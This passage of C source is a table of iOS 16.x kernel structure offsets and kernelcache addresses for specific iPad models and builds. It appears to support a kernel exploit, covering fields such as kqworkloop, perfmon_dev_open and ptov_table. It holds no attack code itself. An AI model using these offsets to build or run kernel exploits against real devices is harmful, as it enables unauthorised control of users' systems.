.vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,8 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        